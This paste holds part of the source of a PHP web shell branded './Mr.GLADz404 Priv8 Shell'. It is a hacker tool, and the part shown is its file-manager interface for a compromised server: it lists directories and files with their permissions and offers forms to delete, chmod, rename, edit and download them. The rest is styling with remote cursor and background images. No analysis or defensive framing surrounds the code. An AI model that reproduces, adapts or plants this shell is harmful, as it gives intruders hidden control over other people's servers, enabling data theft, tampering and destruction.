- <td><center><font color=purple>Name</font></center></td>
- <td><center><font color=purple>Size</font></center></td>
- <td><center><font color=purple>Permissions</font></center></td>
- <td><center><font color=purple>Options</font></center></td>
- </tr>';
- foreach($scandir as $dir){
- if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
- echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>
- <a href=\"?path=$path/$dir\"><font color=#FFC900>$dir</font></a></td>
- <td><center><font color=blue>--</font></center></td>
- <td><center>";
- if(is_writable("$path/$dir")) echo '<font color="green">';
- elseif(!is_readable("$path/$dir")) echo '<font color="red">';
- echo perms("$path/$dir");
- if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
- echo "</center></td>
- <td><center><form method=\"POST\" action=\"?option&path=$path\">
- <select name=\"opt\">
- <option value=\"\"></option>
- <option value=\"delete\">Delete</option>
- <option value=\"chmod\">Chmod</option>
- <option value=\"rename\">Rename</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"dir\">
- <input type=\"hidden\" name=\"name\" value=\"$dir\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
- <input type=\"submit\" value=\">\" />
- </form></center></td>
- </tr>";
- }
- echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
- foreach($scandir as $file){
- if(!is_file("$path/$file")) continue;
- $size = filesize("$path/$file")/1024;
- $size = round($size,3);
- if($size >= 1024){
- $size = round($size/1024,2).' MB';
- }else{
- $size = $size.' KB';
- }
- echo "<tr>
- <td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='>
- <a href=\"?filesrc=$path/$file&path=$path\"><font color=#FFC900>$file</font></a></td>
- <td><center><font color=blue>".$size."</font></center></td>
- <td><center>";
- if(is_writable("$path/$file")) echo '<font color="green">';
- elseif(!is_readable("$path/$file")) echo '<font color="red">';
- echo perms("$path/$file");
- if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
- echo "</center></td>
- <td><center><form method=\"POST\" action=\"?option&path=$path\">
- <select name=\"opt\">
- <option value=\"\"></option>
- <option value=\"delete\">Delete</option>
- <option value=\"chmod\">Chmod</option>
- <option value=\"rename\">Rename</option>
- <option value=\"edit\">Edit</option>
- <option value=\"download\">Download</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"file\">
- <input type=\"hidden\" name=\"name\" value=\"$file\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
- <input type=\"submit\" value=\">\" />
- </form></center></td>
- </tr>";
- }
- echo '</table>
- </div>';
- }
- echo '<br /><center><font size=4 ; color=red> ./Mr.GLADz404 </font><font size=4 ; color=white>Priv8 Shell</font>
- <br><font color=red size=4>Copyright © '.date("Y").' - <a href=http://www.gladz-sector.net/ target=_blank><font color=white>./Mr.GLADz404</font></a></center>
- </BODY>
- </HTML>';
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- ?>
- <!-- --------Cursor--------- -->
- <style type='text/css'>body, a, a:link{cursor:url(http://4.bp.blogspot.com/-hAF7tPUnmEE/TwGR3lRH0EI/AAAAAAAAAs8/6pki22hc3NE/s1600/ass.png), default;} a:hover {cursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png),wait;}</style>
- <!-------Background------------>
- <style type="text/css">
- body {
- background-attachment: fixed;
- background-image: url(http://cdn0.dailydot.com/cache/b7/c6/b7c6d2f8756b97422a11e3593233d27b.jpg);
- background-color: black;
- background-repeat: no-repeat;
- background-size: 100%;
- background-position: top center;
- fixed transparent
- }
- </style>
Add Comment
Please, Sign In to add comment